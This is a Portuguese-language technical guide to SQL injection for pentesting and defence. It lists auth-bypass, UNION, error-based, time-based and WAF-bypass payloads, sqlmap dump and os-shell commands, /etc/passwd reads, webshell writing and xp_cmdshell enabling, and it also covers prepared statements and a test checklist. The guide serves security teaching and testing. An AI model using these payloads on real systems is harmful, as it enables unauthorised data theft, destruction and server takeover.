[SQL INJECTION]

Guia Técnico Completo

Pentest & Defesa

■ Este material é exclusivo para fins educacionais, pesquisa de segurança e testes em ambientes autorizados.

#	Seção	Tópico
01	Fundamentos	O que é SQL Injection e como funciona
02	Tipos	In-band, Inferential (Blind), Out-of-Band
03	Payloads	Clássicos, Bypass, Time-Based, Error-Based
04	Ferramentas	sqlmap, manual, Burp Suite
05	Impacto	Exfiltração, RCE, autenticação bypass
06	Defesa	Prepared Statements, WAF, validação
07	Checklist	Pontos de teste em aplicações web

01 // FUNDAMENTOS

O que é SQL Injection?

SQL Injection (SQLi) é uma das vulnerabilidades mais críticas e prevalentes em aplicações web. Ocorre quando dados fornecidos pelo usuário são incorporados diretamente em queries SQL sem sanitização adequada, permitindo que um atacante manipule a lógica do banco de dados.

Classificada como A03:2021 no OWASP Top 10, SQLi pode resultar em exfiltração de dados sensíveis, bypass de autenticação, modificação/destruição de dados e, em alguns casos, execução remota de código (RCE) no servidor.

Como Funciona — Exemplo Básico

Query original (login legítimo):

```
SELECT * FROM users WHERE username='admin' AND password='senha123';
```

Input malicioso do atacante:

```
username: admin'-- password: qualquer_coisa
```

Query resultante (bypass de autenticação):

```
SELECT * FROM users WHERE username='admin'--' AND password='...'; -- O '--' comenta o restante da query → senha ignorada!
```

Por que acontece?

- Concatenação direta de input do usuário em queries SQL
- Ausência de Prepared Statements / Parameterized Queries
- Falta de validação e sanitização de entrada
- Mensagens de erro detalhadas expostas ao usuário
- Princípio do menor privilégio não aplicado no banco de dados

02 // TIPOS DE SQL INJECTION

Tipo	Subtipo	Característica
In-Band	Error-Based	Extrai dados via mensagens de erro do DB
In-Band	UNION-Based	Usa UNION para anexar resultados extras
Blind	Boolean-Based	Inferência via respostas True/False
Blind	Time-Based	Inferência via SLEEP() / atraso de resposta
Out-of-Band	DNS/HTTP	Exfiltra dados via DNS ou requisições HTTP

In-Band — UNION-Based

Passo 1: Descobrir número de colunas:

```
' ORDER BY 1-- → OK ' ORDER BY 2-- → OK ' ORDER BY 3-- → ERRO → 2 colunas!
```

Passo 2: Extrair dados com UNION:

```
' UNION SELECT username, password FROM users-- ' UNION SELECT table_name, null FROM information_schema.tables--
```

Blind — Boolean-Based

Quando a aplicação não exibe erros, mas se comporta diferente conforme True/False:

```
' AND 1=1-- → Página normal (True) ' AND 1=2-- → Página diferente/vazia (False) -- Extraindo caractere por caractere: ' AND SUBSTRING(username,1,1)='a'--
```

Blind — Time-Based

Quando não há diferença visual, usa-se delay para inferir dados:

```
-- MySQL: ' AND SLEEP(5)-- -- MSSQL: '; WAITFOR DELAY '0:0:5'-- -- PostgreSQL: '; SELECT pg_sleep(5)-- -- Condicional (extrai dados): ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--
```

03 // PAYLOADS ESSENCIAIS

Detecção — Primeiros Testes

```
' -- aspas simples (erro de sintaxe) '' -- aspas duplas 1' OR '1'='1 1' OR '1'='1'-- ' OR 1=1-- ' OR 'x'='x admin'-- 1; DROP TABLE users-- -- stacked queries
```

Bypass de Autenticação

```
admin'-- admin'# ' OR 1=1-- ' OR '1'='1'-- ') OR ('1'='1 " OR ""=" admin' AND '1'='1
```

Error-Based (MySQL)

```
' AND extractvalue(1, concat(0x7e, (SELECT version())))-- ' AND updatexml(1, concat(0x7e,(SELECT database())),1)-- ' AND (SELECT 1 FROM(SELECT COUNT(*), concat((SELECT user()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--
```

Enumeração de Banco de Dados (MySQL)

```
-- Versão: ' UNION SELECT @@version,null-- -- Banco atual: ' UNION SELECT database(),null-- -- Tabelas: ' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema=database()-- -- Colunas: ' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'-- -- Dados: ' UNION SELECT username,password FROM users--
```

Bypass de WAF / Filtros

Técnica	Exemplo
Case variation	SeLeCt * FrOm users
Comentários inline	SE/**/LECT * FR/**/OM users
Encoding URL	%27%20OR%201%3D1--
Double encoding	%2527 (= %27 = ')
Whitespace alternativo	SELECT%09*%09FROM%09users
Hex encoding	0x61646d696e (= 'admin')
Funções equivalentes	MID() em vez de SUBSTRING()

04 // FERRAMENTAS

sqlmap — Automação

```
# Teste básico em URL sqlmap -u 'http://alvo.com/page?id=1' # Teste com formulário POST sqlmap -u 'http://alvo.com/login' --data='user=a&pass;=b' # Enumerar bancos de dados sqlmap -u 'http://alvo.com/page?id=1' --dbs # Enumerar tabelas sqlmap -u 'http://alvo.com/page?id=1' -D dbname --tables # Dumpar tabela sqlmap -u 'http://alvo.com/page?id=1' -D dbname -T users --dump # Com cookies de sessão sqlmap -u 'http://alvo.com/profile?id=1' --cookie='session=abc123' # Bypass básico de WAF sqlmap -u 'http://alvo.com/page?id=1' --tamper=space2comment # Shell no servidor (se vulnerável a INTO OUTFILE) sqlmap -u 'http://alvo.com/page?id=1' --os-shell
```

Pontos de Injeção — Onde Testar

- Parâmetros GET/POST: ?id=1, ?search=termo, ?category=shoes
- Campos de formulário: login, busca, cadastro, filtros
- Cabeçalhos HTTP: X-Forwarded-For, User-Agent, Referer, Cookie
- JSON/XML em APIs REST: {"id": "1'"}
- Campos de ordenação/paginação: ?sort=name, ?page=2
- Path parameters: /user/1/profile, /product/abc

Identificação do SGBD

Payload	Resposta indica
`@@version`	MySQL / MSSQL
`version()`	PostgreSQL / MySQL
`banner FROM v$version`	Oracle
`sqlite_version()`	SQLite
`' AND 'x'='x`	Genérico — testa aspas
`SLEEP(5)`	MySQL
`pg_sleep(5)`	PostgreSQL
`WAITFOR DELAY '0:0:5'`	MSSQL

05 // IMPACTO E EXPLORAÇÃO AVANÇADA

Leitura de Arquivos (MySQL)

```
' UNION SELECT LOAD_FILE('/etc/passwd'), null-- ' UNION SELECT
LOAD_FILE('/var/www/html/config.php'), null--
```

Escrita de Arquivos / Webshell (MySQL)

```
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php'-- -- Verificar permissão: '
UNION SELECT @@secure_file_priv, null--
```

Execução de Comandos (MSSQL — xp_cmdshell)

```
-- Habilitar xp_cmdshell: '; EXEC sp_configure 'show advanced options',1-- ';
RECONFIGURE-- '; EXEC sp_configure 'xp_cmdshell',1-- '; RECONFIGURE-- -- Executar
comando: '; EXEC xp_cmdshell 'whoami'--
```

Escalada de Impacto

Nível	Impacto	Exemplo
Baixo	Bypass filtros	Acessar dados restritos via autenticação falha
Médio	Data exfiltration	Dump de tabelas: users, senhas, PII
Alto	Data manipulation	UPDATE, DELETE, INSERT em qualquer tabela
Crítico	RCE / Shell	xp_cmdshell, INTO OUTFILE + webshell
Crítico	Privilege escalation	Acesso ao SO como www-data ou SYSTEM

06 // DEFESA E MITIGAÇÃO

1. Prepared Statements (Principal Defesa)

Python (psycopg2 / MySQL):

```
# ■ VULNERÁVEL: cursor.execute("SELECT * FROM users WHERE user='" + username + "'") # ■ SEGURO (Prepared Statement): cursor.execute("SELECT * FROM users WHERE user=%s", (username,))
```

PHP (PDO):

```
// ■ VULNERÁVEL: $result = $pdo->query("SELECT * FROM users WHERE id=$_GET['id']"); // ■ SEGURO: $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute();
```

JavaScript (Node.js + mysql2):

```
// ■ VULNERÁVEL: const q = `SELECT * FROM users WHERE name='${name}'`; // ■ SEGURO: const [rows] = await conn.execute( 'SELECT * FROM users WHERE name = ?', [name] );
```

2. Outras Camadas de Defesa

Controle	Descrição
Stored Procedures	Lógica SQL no banco, não na aplicação
Allowlist (whitelist)	Validar tipo e formato do input esperado
Principle of Least Privilege	Usuário DB com apenas as permissões necessárias
WAF (Web App Firewall)	ModSecurity, AWS WAF, Cloudflare — camada extra
Erros genéricos	Nunca expor stack traces ou erros SQL ao usuário
ORM seguro	Hibernate, SQLAlchemy, Prisma (com uso correto)
Monitoramento	Logs de queries anômalas, alertas de SIEM
Pentest regular	Testar periodicamente com sqlmap e manual

07 // CHECKLIST DE PENTEST

Pontos de Verificação

[RECONHECIMENTO]

- ■ Mapear todos os parâmetros GET e POST
- ■ Identificar campos de formulário (login, busca, filtros)
- ■ Analisar cabeçalhos HTTP enviados à aplicação
- ■ Identificar o SGBD usado (erros, headers, comportamento)
- ■ Verificar parâmetros em cookies e tokens

[DETECÇÃO]

- ■ Inserir aspas simples (') e observar erro/comportamento
- ■ Testar comentários SQL (--, #, /**/)
- ■ Testar com OR 1=1 e OR 1=2 (boolean difference)
- ■ Testar time-based com SLEEP(5) / WAITFOR
- ■ Usar sqlmap --level=5 --risk=3 para cobertura máxima

[EXPLORAÇÃO]

- ■ Determinar número de colunas (ORDER BY)
- ■ Identificar colunas visíveis (UNION SELECT null...)
- ■ Extrair: versão, banco atual, usuário DB, tabelas, dados
- ■ Testar leitura de arquivos (LOAD_FILE)
- ■ Testar escrita de arquivos / webshell
- ■ Em MSSQL: testar xp_cmdshell

[DOCUMENTAÇÃO]

- ■ Capturar request/response completo como evidência
- ■ Registrar payload exato que funcionou
- ■ Classificar severidade (CVSS)
- ■ Descrever impacto real e vetor de ataque
- ■ Propor remediation específica com código